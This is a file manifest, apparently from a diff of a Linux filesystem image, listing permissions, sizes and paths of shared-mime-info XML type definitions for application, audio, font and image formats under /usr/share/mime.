+-rw-r--r-- root root 3046 ./usr/share/mime/application/vnd.visio.xml
+-rw-r--r-- root root 3633 ./usr/share/mime/application/vnd.wordperfect.xml
+-rw-r--r-- root root 1189 ./usr/share/mime/application/vnd.youtube.yt.xml
+-rw-r--r-- root root 2575 ./usr/share/mime/application/winhlp.xml
+-rw-r--r-- root root 2942 ./usr/share/mime/application/x-7z-compressed.xml
+-rw-r--r-- root root 3303 ./usr/share/mime/application/x-abiword.xml
+-rw-r--r-- root root 2785 ./usr/share/mime/application/x-ace.xml
+-rw-r--r-- root root 2890 ./usr/share/mime/application/x-alz.xml
+-rw-r--r-- root root 2185 ./usr/share/mime/application/x-amiga-disk-format.xml
+-rw-r--r-- root root 3479 ./usr/share/mime/application/x-amipro.xml
+-rw-r--r-- root root 3122 ./usr/share/mime/application/x-aportisdoc.xml
+-rw-r--r-- root root 2699 ./usr/share/mime/application/x-apple-diskimage.xml
+-rw-r--r-- root root 346 ./usr/share/mime/application/x-appleworks-document.xml
+-rw-r--r-- root root 3940 ./usr/share/mime/application/x-applix-spreadsheet.xml
+-rw-r--r-- root root 3574 ./usr/share/mime/application/x-applix-word.xml
+-rw-r--r-- root root 2804 ./usr/share/mime/application/x-archive.xml
+-rw-r--r-- root root 2759 ./usr/share/mime/application/x-arc.xml
+-rw-r--r-- root root 3010 ./usr/share/mime/application/x-arj.xml
+-rw-r--r-- root root 2899 ./usr/share/mime/application/x-asp.xml
+-rw-r--r-- root root 1019 ./usr/share/mime/application/x-atari-2600-rom.xml
+-rw-r--r-- root root 1019 ./usr/share/mime/application/x-atari-7800-rom.xml
+-rw-r--r-- root root 1021 ./usr/share/mime/application/x-atari-lynx-rom.xml
+-rw-r--r-- root root 3084 ./usr/share/mime/application/x-awk.xml
+-rw-r--r-- root root 3225 ./usr/share/mime/application/x-bcpio.xml
+-rw-r--r-- root root 3540 ./usr/share/mime/application/x-bittorrent.xml
+-rw-r--r-- root root 3102 ./usr/share/mime/application/x-blender.xml
+-rw-r--r-- root root 2357 ./usr/share/mime/application/x-bsdiff.xml
+-rw-r--r-- root root 4099 ./usr/share/mime/application/x-bzdvi.xml
+-rw-r--r-- root root 3945 ./usr/share/mime/application/x-bzip-compressed-tar.xml
+-rw-r--r-- root root 2986 ./usr/share/mime/application/x-bzip.xml
+-rw-r--r-- root root 3880 ./usr/share/mime/application/x-bzpdf.xml
+-rw-r--r-- root root 4236 ./usr/share/mime/application/x-bzpostscript.xml
+-rw-r--r-- root root 3190 ./usr/share/mime/application/x-cb7.xml
+-rw-r--r-- root root 3180 ./usr/share/mime/application/x-cbt.xml
+-rw-r--r-- root root 2858 ./usr/share/mime/application/x-ccmx.xml
+-rw-r--r-- root root 3292 ./usr/share/mime/application/x-cd-image.xml
+-rw-r--r-- root root 3136 ./usr/share/mime/application/x-cdrdao-toc.xml
+-rw-r--r-- root root 1099 ./usr/share/mime/application/x-cisco-vpn-settings.xml
+-rw-r--r-- root root 3042 ./usr/share/mime/application/x-class-file.xml
+-rw-r--r-- root root 3786 ./usr/share/mime/application/x-compressed-tar.xml
+-rw-r--r-- root root 3414 ./usr/share/mime/application/x-compress.xml
+-rw-r--r-- root root 3630 ./usr/share/mime/application/x-core.xml
+-rw-r--r-- root root 4192 ./usr/share/mime/application/x-cpio-compressed.xml
+-rw-r--r-- root root 3028 ./usr/share/mime/application/x-cpio.xml
+-rw-r--r-- root root 3273 ./usr/share/mime/application/x-csh.xml
+-rw-r--r-- root root 3240 ./usr/share/mime/application/x-cue.xml
+-rw-r--r-- root root 2785 ./usr/share/mime/application/x-dar.xml
+-rw-r--r-- root root 3031 ./usr/share/mime/application/x-dbf.xml
+-rw-r--r-- root root 1136 ./usr/share/mime/application/x-dc-rom.xml
+-rw-r--r-- root root 1241 ./usr/share/mime/application/x-designer.xml
+-rw-r--r-- root root 3922 ./usr/share/mime/application/x-desktop.xml
+-rw-r--r-- root root 3052 ./usr/share/mime/application/x-dia-diagram.xml
+-rw-r--r-- root root 2405 ./usr/share/mime/application/x-dia-shape.xml
+-rw-r--r-- root root 3273 ./usr/share/mime/application/x-docbook+xml.xml
+-rw-r--r-- root root 1051 ./usr/share/mime/application/x-doom-wad.xml
+-rw-r--r-- root root 3183 ./usr/share/mime/application/x-dvi.xml
+-rw-r--r-- root root 3473 ./usr/share/mime/application/x-egon.xml
+-rw-r--r-- root root 3341 ./usr/share/mime/application/x-e-theme.xml
+-rw-r--r-- root root 2837 ./usr/share/mime/application/x-executable.xml
+-rw-r--r-- root root 2172 ./usr/share/mime/application/x-fds-disk.xml
+-rw-r--r-- root root 3142 ./usr/share/mime/application/x-fictionbook+xml.xml
+-rw-r--r-- root root 3137 ./usr/share/mime/application/x-fluid.xml
+-rw-r--r-- root root 3465 ./usr/share/mime/application/x-font-afm.xml
+-rw-r--r-- root root 2866 ./usr/share/mime/application/x-font-bdf.xml
+-rw-r--r-- root root 2854 ./usr/share/mime/application/x-font-dos.xml
+-rw-r--r-- root root 3612 ./usr/share/mime/application/x-font-framemaker.xml
+-rw-r--r-- root root 3018 ./usr/share/mime/application/x-font-libgrx.xml
+-rw-r--r-- root root 3800 ./usr/share/mime/application/x-font-linux-psf.xml
+-rw-r--r-- root root 2918 ./usr/share/mime/application/x-font-pcf.xml
+-rw-r--r-- root root 3031 ./usr/share/mime/application/x-font-speedo.xml
+-rw-r--r-- root root 3244 ./usr/share/mime/application/x-font-sunos-news.xml
+-rw-r--r-- root root 3352 ./usr/share/mime/application/x-font-tex-tfm.xml
+-rw-r--r-- root root 2839 ./usr/share/mime/application/x-font-tex.xml
+-rw-r--r-- root root 3183 ./usr/share/mime/application/x-font-ttx.xml
+-rw-r--r-- root root 2200 ./usr/share/mime/application/x-font-type1.xml
+-rw-r--r-- root root 2741 ./usr/share/mime/application/x-font-vfont.xml
+-rw-r--r-- root root 1959 ./usr/share/mime/application/x-gameboy-color-rom.xml
+-rw-r--r-- root root 2895 ./usr/share/mime/application/x-gameboy-rom.xml
+-rw-r--r-- root root 2521 ./usr/share/mime/application/x-gamecube-rom.xml
+-rw-r--r-- root root 1722 ./usr/share/mime/application/x-gamegear-rom.xml
+-rw-r--r-- root root 3217 ./usr/share/mime/application/x-gba-rom.xml
+-rw-r--r-- root root 3125 ./usr/share/mime/application/x-gdbm.xml
+-rw-r--r-- root root 3528 ./usr/share/mime/application/x-gedcom.xml
+-rw-r--r-- root root 1892 ./usr/share/mime/application/x-genesis-32x-rom.xml
+-rw-r--r-- root root 2901 ./usr/share/mime/application/x-genesis-rom.xml
+-rw-r--r-- root root 4594 ./usr/share/mime/application/x-gettext-translation.xml
+-rw-r--r-- root root 3040 ./usr/share/mime/application/x-glade.xml
+-rw-r--r-- root root 3208 ./usr/share/mime/application/x-gnucash.xml
+-rw-r--r-- root root 3362 ./usr/share/mime/application/x-gnumeric.xml
+-rw-r--r-- root root 3130 ./usr/share/mime/application/x-gnuplot.xml
+-rw-r--r-- root root 2839 ./usr/share/mime/application/x-go-sgf.xml
+-rw-r--r-- root root 3559 ./usr/share/mime/application/x-graphite.xml
+-rw-r--r-- root root 1253 ./usr/share/mime/application/x-gtk-builder.xml
+-rw-r--r-- root root 3098 ./usr/share/mime/application/x-gtktalog.xml
+-rw-r--r-- root root 4096 ./usr/share/mime/application/x-gzdvi.xml
+-rw-r--r-- root root 4598 ./usr/share/mime/application/x-gz-font-linux-psf.xml
+-rw-r--r-- root root 3871 ./usr/share/mime/application/x-gzpdf.xml
+-rw-r--r-- root root 4380 ./usr/share/mime/application/x-gzpostscript.xml
+-rw-r--r-- root root 3146 ./usr/share/mime/application/x-hdf.xml
+-rw-r--r-- root root 2102 ./usr/share/mime/application/x-hfe-floppy-image.xml
+-rw-r--r-- root root 3048 ./usr/share/mime/application/xhtml+xml.xml
+-rw-r--r-- root root 3437 ./usr/share/mime/application/x-hwp.xml
+-rw-r--r-- root root 3922 ./usr/share/mime/application/x-hwt.xml
+-rw-r--r-- root root 3805 ./usr/share/mime/application/x-ica.xml
+-rw-r--r-- root root 2088 ./usr/share/mime/application/x-iff.xml
+-rw-r--r-- root root 2959 ./usr/share/mime/application/x-ipod-firmware.xml
+-rw-r--r-- root root 1098 ./usr/share/mime/application/x-ipynb+json.xml
+-rw-r--r-- root root 2355 ./usr/share/mime/application/x-iso9660-appimage.xml
+-rw-r--r-- root root 3393 ./usr/share/mime/application/x-it87.xml
+-rw-r--r-- root root 2779 ./usr/share/mime/application/x-iwork-keynote-sffkey.xml
+-rw-r--r-- root root 2956 ./usr/share/mime/application/x-java-archive.xml
+-rw-r--r-- root root 3006 ./usr/share/mime/application/x-java-jce-keystore.xml
+-rw-r--r-- root root 2826 ./usr/share/mime/application/x-java-jnlp-file.xml
+-rw-r--r-- root root 2810 ./usr/share/mime/application/x-java-keystore.xml
+-rw-r--r-- root root 3097 ./usr/share/mime/application/x-java-pack200.xml
+-rw-r--r-- root root 2902 ./usr/share/mime/application/x-java.xml
+-rw-r--r-- root root 3090 ./usr/share/mime/application/x-jbuilder-project.xml
+-rw-r--r-- root root 3023 ./usr/share/mime/application/x-karbon.xml
+-rw-r--r-- root root 2961 ./usr/share/mime/application/x-kchart.xml
+-rw-r--r-- root root 985 ./usr/share/mime/application/x-kexi-connectiondata.xml
+-rw-r--r-- root root 963 ./usr/share/mime/application/x-kexiproject-shortcut.xml
+-rw-r--r-- root root 1139 ./usr/share/mime/application/x-kexiproject-sqlite2.xml
+-rw-r--r-- root root 1235 ./usr/share/mime/application/x-kexiproject-sqlite3.xml
+-rw-r--r-- root root 3059 ./usr/share/mime/application/x-kformula.xml
+-rw-r--r-- root root 3235 ./usr/share/mime/application/x-killustrator.xml
+-rw-r--r-- root root 3186 ./usr/share/mime/application/x-kivio.xml
+-rw-r--r-- root root 2970 ./usr/share/mime/application/x-kontour.xml
+-rw-r--r-- root root 3112 ./usr/share/mime/application/x-kpovmodeler.xml
+-rw-r--r-- root root 3446 ./usr/share/mime/application/x-kpresenter.xml
+-rw-r--r-- root root 2978 ./usr/share/mime/application/x-krita.xml
+-rw-r--r-- root root 3981 ./usr/share/mime/application/x-kspread-crypt.xml
+-rw-r--r-- root root 3288 ./usr/share/mime/application/x-kspread.xml
+-rw-r--r-- root root 3087 ./usr/share/mime/application/x-ksysv-package.xml
+-rw-r--r-- root root 2981 ./usr/share/mime/application/x-kugar.xml
+-rw-r--r-- root root 3680 ./usr/share/mime/application/x-kword-crypt.xml
+-rw-r--r-- root root 3054 ./usr/share/mime/application/x-kword.xml
+-rw-r--r-- root root 2937 ./usr/share/mime/application/x-lha.xml
+-rw-r--r-- root root 2788 ./usr/share/mime/application/x-lhz.xml
+-rw-r--r-- root root 3529 ./usr/share/mime/application/xliff+xml.xml
+-rw-r--r-- root root 3509 ./usr/share/mime/application/x-lrzip-compressed-tar.xml
+-rw-r--r-- root root 2586 ./usr/share/mime/application/x-lrzip.xml
+-rw-r--r-- root root 2932 ./usr/share/mime/application/x-lyx.xml
+-rw-r--r-- root root 2407 ./usr/share/mime/application/x-lz4-compressed-tar.xml
+-rw-r--r-- root root 2047 ./usr/share/mime/application/x-lz4.xml
+-rw-r--r-- root root 2439 ./usr/share/mime/application/x-lzip-compressed-tar.xml
+-rw-r--r-- root root 2538 ./usr/share/mime/application/x-lzip.xml
+-rw-r--r-- root root 3787 ./usr/share/mime/application/x-lzma-compressed-tar.xml
+-rw-r--r-- root root 2879 ./usr/share/mime/application/x-lzma.xml
+-rw-r--r-- root root 2858 ./usr/share/mime/application/x-lzop.xml
+-rw-r--r-- root root 2450 ./usr/share/mime/application/x-lzpdf.xml
+-rw-r--r-- root root 2573 ./usr/share/mime/application/x-m4.xml
+-rw-r--r-- root root 3552 ./usr/share/mime/application/x-macbinary.xml
+-rw-r--r-- root root 3595 ./usr/share/mime/application/x-magicpoint.xml
+-rw-r--r-- root root 3076 ./usr/share/mime/application/x-markaby.xml
+-rw-r--r-- root root 2865 ./usr/share/mime/application/x-matroska.xml
+-rw-r--r-- root root 3816 ./usr/share/mime/application/x-mif.xml
+-rw-r--r-- root root 2522 ./usr/share/mime/application/x-mimearchive.xml
+-rw-r--r-- root root 2842 ./usr/share/mime/application/xml-dtd.xml
+-rw-r--r-- root root 3524 ./usr/share/mime/application/xml-external-parsed-entity.xml
+-rw-r--r-- root root 3038 ./usr/share/mime/application/xml.xml
+-rw-r--r-- root root 2798 ./usr/share/mime/application/x-mobipocket-ebook.xml
+-rw-r--r-- root root 3272 ./usr/share/mime/application/x-mozilla-bookmarks.xml
+-rw-r--r-- root root 3670 ./usr/share/mime/application/x-ms-dos-executable.xml
+-rw-r--r-- root root 3395 ./usr/share/mime/application/x-msi.xml
+-rw-r--r-- root root 1046 ./usr/share/mime/application/x-ms-wim.xml
+-rw-r--r-- root root 3069 ./usr/share/mime/application/x-mswinurl.xml
+-rw-r--r-- root root 2816 ./usr/share/mime/application/x-mswrite.xml
+-rw-r--r-- root root 2631 ./usr/share/mime/application/x-msx-rom.xml
+-rw-r--r-- root root 2950 ./usr/share/mime/application/x-n64-rom.xml
+-rw-r--r-- root root 3171 ./usr/share/mime/application/x-nautilus-link.xml
+-rw-r--r-- root root 3348 ./usr/share/mime/application/x-navi-animation.xml
+-rw-r--r-- root root 1852 ./usr/share/mime/application/x-neo-geo-pocket-color-rom.xml
+-rw-r--r-- root root 1874 ./usr/share/mime/application/x-neo-geo-pocket-rom.xml
+-rw-r--r-- root root 2681 ./usr/share/mime/application/x-nes-rom.xml
+-rw-r--r-- root root 3540 ./usr/share/mime/application/x-netcdf.xml
+-rw-r--r-- root root 3587 ./usr/share/mime/application/x-netshow-channel.xml
+-rw-r--r-- root root 2904 ./usr/share/mime/application/x-nintendo-ds-rom.xml
+-rw-r--r-- root root 2651 ./usr/share/mime/application/x-nzb.xml
+-rw-r--r-- root root 2816 ./usr/share/mime/application/x-object.xml
+-rw-r--r-- root root 3410 ./usr/share/mime/application/x-oleo.xml
+-rw-r--r-- root root 3999 ./usr/share/mime/application/x-ole-storage.xml
+-rw-r--r-- root root 1221 ./usr/share/mime/application/x-pagemaker.xml
+-rw-r--r-- root root 2785 ./usr/share/mime/application/x-pak.xml
+-rw-r--r-- root root 3058 ./usr/share/mime/application/x-par2.xml
+-rw-r--r-- root root 2817 ./usr/share/mime/application/x-partial-download.xml
+-rw-r--r-- root root 2149 ./usr/share/mime/application/x-pc-engine-rom.xml
+-rw-r--r-- root root 3072 ./usr/share/mime/application/x-pef-executable.xml
+-rw-r--r-- root root 3209 ./usr/share/mime/application/x-perl.xml
+-rw-r--r-- root root 3050 ./usr/share/mime/application/x-php.xml
+-rw-r--r-- root root 3264 ./usr/share/mime/application/x-pkcs7-certificates.xml
+-rw-r--r-- root root 3383 ./usr/share/mime/application/x-planperfect.xml
+-rw-r--r-- root root 2969 ./usr/share/mime/application/x-pocket-word.xml
+-rw-r--r-- root root 3489 ./usr/share/mime/application/x-profile.xml
+-rw-r--r-- root root 3521 ./usr/share/mime/application/x-pw.xml
+-rw-r--r-- root root 3180 ./usr/share/mime/application/x-python-bytecode.xml
+-rw-r--r-- root root 407 ./usr/share/mime/application/x-qemu-disk.xml
+-rw-r--r-- root root 2164 ./usr/share/mime/application/x-qpress.xml
+-rw-r--r-- root root 2458 ./usr/share/mime/application/x-qtiplot.xml
+-rw-r--r-- root root 3546 ./usr/share/mime/application/x-quattropro.xml
+-rw-r--r-- root root 1258 ./usr/share/mime/application/x-quicktime-media-link.xml
+-rw-r--r-- root root 3189 ./usr/share/mime/application/x-qw.xml
+-rw-r--r-- root root 2444 ./usr/share/mime/application/x-raw-disk-image.xml
+-rw-r--r-- root root 3223 ./usr/share/mime/application/x-raw-disk-image-xz-compressed.xml
+-rw-r--r-- root root 1828 ./usr/share/mime/application/x-raw-floppy-disk-image.xml
+-rw-r--r-- root root 2067 ./usr/share/mime/application/x-riff.xml
+-rw-r--r-- root root 2780 ./usr/share/mime/application/x-rpm.xml
+-rw-r--r-- root root 2941 ./usr/share/mime/application/x-ruby.xml
+-rw-r--r-- root root 3058 ./usr/share/mime/application/x-sami.xml
+-rw-r--r-- root root 2519 ./usr/share/mime/application/x-saturn-rom.xml
+-rw-r--r-- root root 3354 ./usr/share/mime/application/x-sc.xml
+-rw-r--r-- root root 2140 ./usr/share/mime/application/x-sega-cd-rom.xml
+-rw-r--r-- root root 1752 ./usr/share/mime/application/x-sega-pico-rom.xml
+-rw-r--r-- root root 1656 ./usr/share/mime/application/x-sg1000-rom.xml
+-rw-r--r-- root root 3576 ./usr/share/mime/application/x-shared-library-la.xml
+-rw-r--r-- root root 3341 ./usr/share/mime/application/x-sharedlib.xml
+-rw-r--r-- root root 3018 ./usr/share/mime/application/x-shar.xml
+-rw-r--r-- root root 3191 ./usr/share/mime/application/x-shellscript.xml
+-rw-r--r-- root root 2898 ./usr/share/mime/application/x-shorten.xml
+-rw-r--r-- root root 3125 ./usr/share/mime/application/x-siag.xml
+-rw-r--r-- root root 3067 ./usr/share/mime/application/x-slp.xml
+-rw-r--r-- root root 3271 ./usr/share/mime/application/xslt+xml.xml
+-rw-r--r-- root root 2868 ./usr/share/mime/application/x-smaf.xml
+-rw-r--r-- root root 1828 ./usr/share/mime/application/x-sms-rom.xml
+-rw-r--r-- root root 2563 ./usr/share/mime/application/x-source-rpm.xml
+-rw-r--r-- root root 3445 ./usr/share/mime/application/xspf+xml.xml
+-rw-r--r-- root root 1201 ./usr/share/mime/application/x-spss-por.xml
+-rw-r--r-- root root 1181 ./usr/share/mime/application/x-spss-sav.xml
+-rw-r--r-- root root 3154 ./usr/share/mime/application/x-sqlite2.xml
+-rw-r--r-- root root 3027 ./usr/share/mime/application/x-stuffit.xml
+-rw-r--r-- root root 3069 ./usr/share/mime/application/x-subrip.xml
+-rw-r--r-- root root 3146 ./usr/share/mime/application/x-sv4cpio.xml
+-rw-r--r-- root root 3637 ./usr/share/mime/application/x-sv4crc.xml
+-rw-r--r-- root root 2862 ./usr/share/mime/application/x-t602.xml
+-rw-r--r-- root root 2908 ./usr/share/mime/application/x-tar.xml
+-rw-r--r-- root root 3451 ./usr/share/mime/application/x-tarz.xml
+-rw-r--r-- root root 3391 ./usr/share/mime/application/x-tex-gf.xml
+-rw-r--r-- root root 3527 ./usr/share/mime/application/x-tex-pk.xml
+-rw-r--r-- root root 2916 ./usr/share/mime/application/x-tgif.xml
+-rw-r--r-- root root 2604 ./usr/share/mime/application/x-theme.xml
+-rw-r--r-- root root 2013 ./usr/share/mime/application/x-thomson-cartridge-memo7.xml
+-rw-r--r-- root root 1776 ./usr/share/mime/application/x-thomson-cassette.xml
+-rw-r--r-- root root 2342 ./usr/share/mime/application/x-thomson-sap-image.xml
+-rw-r--r-- root root 3216 ./usr/share/mime/application/x-toutdoux.xml
+-rw-r--r-- root root 3148 ./usr/share/mime/application/x-trash.xml
+-rw-r--r-- root root 3887 ./usr/share/mime/application/x-troff-man-compressed.xml
+-rw-r--r-- root root 2521 ./usr/share/mime/application/x-troff-man.xml
+-rw-r--r-- root root 3731 ./usr/share/mime/application/x-tzo.xml
+-rw-r--r-- root root 3110 ./usr/share/mime/application/x-ufraw.xml
+-rw-r--r-- root root 2836 ./usr/share/mime/application/x-ustar.xml
+-rw-r--r-- root root 1666 ./usr/share/mime/application/x-virtual-boy-rom.xml
+-rw-r--r-- root root 3242 ./usr/share/mime/application/x-wais-source.xml
+-rw-r--r-- root root 2456 ./usr/share/mime/application/x-wii-rom.xml
+-rw-r--r-- root root 1998 ./usr/share/mime/application/x-wii-wad.xml
+-rw-r--r-- root root 3595 ./usr/share/mime/application/x-windows-themepack.xml
+-rw-r--r-- root root 1989 ./usr/share/mime/application/x-wonderswan-color-rom.xml
+-rw-r--r-- root root 1825 ./usr/share/mime/application/x-wonderswan-rom.xml
+-rw-r--r-- root root 3782 ./usr/share/mime/application/x-wpg.xml
+-rw-r--r-- root root 2498 ./usr/share/mime/application/x-wwf.xml
+-rw-r--r-- root root 4757 ./usr/share/mime/application/x-x509-ca-cert.xml
+-rw-r--r-- root root 1890 ./usr/share/mime/application/x-xar.xml
+-rw-r--r-- root root 3167 ./usr/share/mime/application/x-xbel.xml
+-rw-r--r-- root root 3294 ./usr/share/mime/application/x-xpinstall.xml
+-rw-r--r-- root root 3373 ./usr/share/mime/application/x-xz-compressed-tar.xml
+-rw-r--r-- root root 3269 ./usr/share/mime/application/x-xzpdf.xml
+-rw-r--r-- root root 2449 ./usr/share/mime/application/x-xz.xml
+-rw-r--r-- root root 2822 ./usr/share/mime/application/x-yaml.xml
+-rw-r--r-- root root 2936 ./usr/share/mime/application/x-zerosize.xml
+-rw-r--r-- root root 2912 ./usr/share/mime/application/x-zip-compressed-fb2.xml
+-rw-r--r-- root root 2818 ./usr/share/mime/application/x-zoo.xml
+-rw-r--r-- root root 1995 ./usr/share/mime/application/x-zstd-compressed-tar.xml
+-rw-r--r-- root root 2901 ./usr/share/mime/application/zip.xml
+-rw-r--r-- root root 2084 ./usr/share/mime/application/zlib.xml
+-rw-r--r-- root root 1464 ./usr/share/mime/application/zstd.xml
+drwxr-xr-x root root 4096 ./usr/share/mime/audio
+-rw-r--r-- root root 2202 ./usr/share/mime/audio/aac.xml
+-rw-r--r-- root root 3368 ./usr/share/mime/audio/ac3.xml
+-rw-r--r-- root root 2944 ./usr/share/mime/audio/amr-wb.xml
+-rw-r--r-- root root 2771 ./usr/share/mime/audio/amr.xml
+-rw-r--r-- root root 1023 ./usr/share/mime/audio/annodex.xml
+-rw-r--r-- root root 3151 ./usr/share/mime/audio/basic.xml
+-rw-r--r-- root root 2798 ./usr/share/mime/audio/flac.xml
+-rw-r--r-- root root 2876 ./usr/share/mime/audio/midi.xml
+-rw-r--r-- root root 2623 ./usr/share/mime/audio/mp2.xml
+-rw-r--r-- root root 2884 ./usr/share/mime/audio/mp4.xml
+-rw-r--r-- root root 2936 ./usr/share/mime/audio/mpeg.xml
+-rw-r--r-- root root 1008 ./usr/share/mime/audio/ogg.xml
+-rw-r--r-- root root 3220 ./usr/share/mime/audio/prs.sid.xml
+-rw-r--r-- root root 1610 ./usr/share/mime/audio/usac.xml
+-rw-r--r-- root root 2180 ./usr/share/mime/audio/vnd.dts.hd.xml
+-rw-r--r-- root root 2055 ./usr/share/mime/audio/vnd.dts.xml
+-rw-r--r-- root root 3202 ./usr/share/mime/audio/vnd.rn-realaudio.xml
+-rw-r--r-- root root 2422 ./usr/share/mime/audio/webm.xml
+-rw-r--r-- root root 2713 ./usr/share/mime/audio/x-adpcm.xml
+-rw-r--r-- root root 3066 ./usr/share/mime/audio/x-aifc.xml
+-rw-r--r-- root root 3573 ./usr/share/mime/audio/x-aiff.xml
+-rw-r--r-- root root 2766 ./usr/share/mime/audio/x-amzxml.xml
+-rw-r--r-- root root 2758 ./usr/share/mime/audio/x-ape.xml
+-rw-r--r-- root root 2958 ./usr/share/mime/audio/x-flac+ogg.xml
+-rw-r--r-- root root 2864 ./usr/share/mime/audio/x-gsm.xml
+-rw-r--r-- root root 1076 ./usr/share/mime/audio/x-iriver-pla.xml
+-rw-r--r-- root root 3344 ./usr/share/mime/audio/x-it.xml
+-rw-r--r-- root root 3184 ./usr/share/mime/audio/x-m4b.xml
+-rw-r--r-- root root 1002 ./usr/share/mime/audio/x-m4r.xml
+-rw-r--r-- root root 2979 ./usr/share/mime/audio/x-matroska.xml
+-rw-r--r-- root root 3017 ./usr/share/mime/audio/x-minipsf.xml
+-rw-r--r-- root root 3256 ./usr/share/mime/audio/x-mo3.xml
+-rw-r--r-- root root 3640 ./usr/share/mime/audio/x-mod.xml
+-rw-r--r-- root root 3601 ./usr/share/mime/audio/x-mpegurl.xml
+-rw-r--r-- root root 3833 ./usr/share/mime/audio/x-ms-asx.xml
+-rw-r--r-- root root 3148 ./usr/share/mime/audio/x-ms-wma.xml
+-rw-r--r-- root root 2864 ./usr/share/mime/audio/x-musepack.xml
+-rw-r--r-- root root 2000 ./usr/share/mime/audio/x-opus+ogg.xml
+-rw-r--r-- root root 1778 ./usr/share/mime/audio/x-pn-audibleaudio.xml
+-rw-r--r-- root root 3385 ./usr/share/mime/audio/x-psflib.xml
+-rw-r--r-- root root 2682 ./usr/share/mime/audio/x-psf.xml
+-rw-r--r-- root root 2764 ./usr/share/mime/audio/x-riff.xml
+-rw-r--r-- root root 3393 ./usr/share/mime/audio/x-s3m.xml
+-rw-r--r-- root root 3693 ./usr/share/mime/audio/x-scpls.xml
+-rw-r--r-- root root 2976 ./usr/share/mime/audio/x-speex+ogg.xml
+-rw-r--r-- root root 2656 ./usr/share/mime/audio/x-speex.xml
+-rw-r--r-- root root 3290 ./usr/share/mime/audio/x-stm.xml
+-rw-r--r-- root root 2930 ./usr/share/mime/audio/x-tta.xml
+-rw-r--r-- root root 2737 ./usr/share/mime/audio/x-voc.xml
+-rw-r--r-- root root 3311 ./usr/share/mime/audio/x-vorbis+ogg.xml
+-rw-r--r-- root root 3641 ./usr/share/mime/audio/x-wavpack-correction.xml
+-rw-r--r-- root root 2833 ./usr/share/mime/audio/x-wavpack.xml
+-rw-r--r-- root root 2795 ./usr/share/mime/audio/x-wav.xml
+-rw-r--r-- root root 3518 ./usr/share/mime/audio/x-xi.xml
+-rw-r--r-- root root 2751 ./usr/share/mime/audio/x-xmf.xml
+-rw-r--r-- root root 3360 ./usr/share/mime/audio/x-xm.xml
+drwxr-xr-x root root 4096 ./usr/share/mime/font
+-rw-r--r-- root root 1752 ./usr/share/mime/font/collection.xml
+-rw-r--r-- root root 3213 ./usr/share/mime/font/otf.xml
+-rw-r--r-- root root 3063 ./usr/share/mime/font/ttf.xml
+-rw-r--r-- root root 1753 ./usr/share/mime/font/woff2.xml
+-rw-r--r-- root root 2331 ./usr/share/mime/font/woff.xml
+-rw-r--r-- root root 17449 ./usr/share/mime/generic-icons
+-rw-r--r-- root root 29350 ./usr/share/mime/globs
+-rw-r--r-- root root 32606 ./usr/share/mime/globs2
+-rw-r--r-- root root 0 ./usr/share/mime/icons
+drwxr-xr-x root root 4096 ./usr/share/mime/image
+-rw-r--r-- root root 3325 ./usr/share/mime/image/bmp.xml
+-rw-r--r-- root root 928 ./usr/share/mime/image/cgm.xml
+-rw-r--r-- root root 2788 ./usr/share/mime/image/dpx.xml
+-rw-r--r-- root root 2896 ./usr/share/mime/image/emf.xml
+-rw-r--r-- root root 1017 ./usr/share/mime/image/fax-g3.xml
+-rw-r--r-- root root 3011 ./usr/share/mime/image/fits.xml
+-rw-r--r-- root root 2851 ./usr/share/mime/image/gif.xml
+-rw-r--r-- root root 1713 ./usr/share/mime/image/heif.xml
+-rw-r--r-- root root 2775 ./usr/share/mime/image/ief.xml
+-rw-r--r-- root root 1995 ./usr/share/mime/image/jp2.xml
+-rw-r--r-- root root 2914 ./usr/share/mime/image/jpeg.xml
+-rw-r--r-- root root 1890 ./usr/share/mime/image/jpm.xml
+-rw-r--r-- root root 1891 ./usr/share/mime/image/jpx.xml
+-rw-r--r-- root root 2043 ./usr/share/mime/image/ktx.xml
+-rw-r--r-- root root 1030 ./usr/share/mime/image/openraster.xml
+-rw-r--r-- root root 2775 ./usr/share/mime/image/png.xml
+-rw-r--r-- root root 1057 ./usr/share/mime/image/rle.xml
+-rw-r--r-- root root 3368 ./usr/share/mime/image/svg+xml-compressed.xml
+-rw-r--r-- root root 2782 ./usr/share/mime/image/svg+xml.xml
+-rw-r--r-- root root 2852 ./usr/share/mime/image/tiff.xml
+-rw-r--r-- root root 3033 ./usr/share/mime/image/vnd.adobe.photoshop.xml
+-rw-r--r-- root root 2120 ./usr/share/mime/image/vnd.djvu+multipage.xml
+-rw-r--r-- root root 2911 ./usr/share/mime/image/vnd.djvu.xml
+-rw-r--r-- root root 3101 ./usr/share/mime/image/vnd.dwg.xml
+-rw-r--r-- root root 3301 ./usr/share/mime/image/vnd.dxf.xml
+-rw-r--r-- root root 2244 ./usr/share/mime/image/vnd.microsoft.icon.xml
+-rw-r--r-- root root 933 ./usr/share/mime/image/vnd.ms-modi.xml
+-rw-r--r-- root root 2993 ./usr/share/mime/image/vnd.rn-realpix.xml
+-rw-r--r-- root root 2775 ./usr/share/mime/image/vnd.wap.wbmp.xml
+-rw-r--r-- root root 2764 ./usr/share/mime/image/vnd.zbrush.pcx.xml
+-rw-r--r-- root root 1985 ./usr/share/mime/image/webp.xml
+-rw-r--r-- root root 2901 ./usr/share/mime/image/wmf.xml
+-rw-r--r-- root root 3236 ./usr/share/mime/image/x-3ds.xml
+-rw-r--r-- root root 3249 ./usr/share/mime/image/x-adobe-dng.xml
+-rw-r--r-- root root 3454 ./usr/share/mime/image/x-applix-graphics.xml
+-rw-r--r-- root root 3863 ./usr/share/mime/image/x-bzeps.xml
+-rw-r--r-- root root 3517 ./usr/share/mime/image/x-canon-cr2.xml
+-rw-r--r-- root root 3480 ./usr/share/mime/image/x-canon-crw.xml
+-rw-r--r-- root root 3346 ./usr/share/mime/image/x-cmu-raster.xml
+-rw-r--r-- root root 3323 ./usr/share/mime/image/x-compressed-xcf.xml
+-rw-r--r-- root root 3230 ./usr/share/mime/image/x-dcraw.xml
+-rw-r--r-- root root 3119 ./usr/share/mime/image/x-dds.xml
+-rw-r--r-- root root 2780 ./usr/share/mime/image/x-dib.xml
+-rw-r--r-- root root 2906 ./usr/share/mime/image/x-eps.xml
+-rw-r--r-- root root 2720 ./usr/share/mime/image/x-exr.xml
+-rw-r--r-- root root 2767 ./usr/share/mime/image/x-fpx.xml
+-rw-r--r-- root root 3445 ./usr/share/mime/image/x-fuji-raf.xml
+-rw-r--r-- root root 1569 ./usr/share/mime/image/x-gimp-gbr.xml
+-rw-r--r-- root root 1672 ./usr/share/mime/image/x-gimp-gih.xml
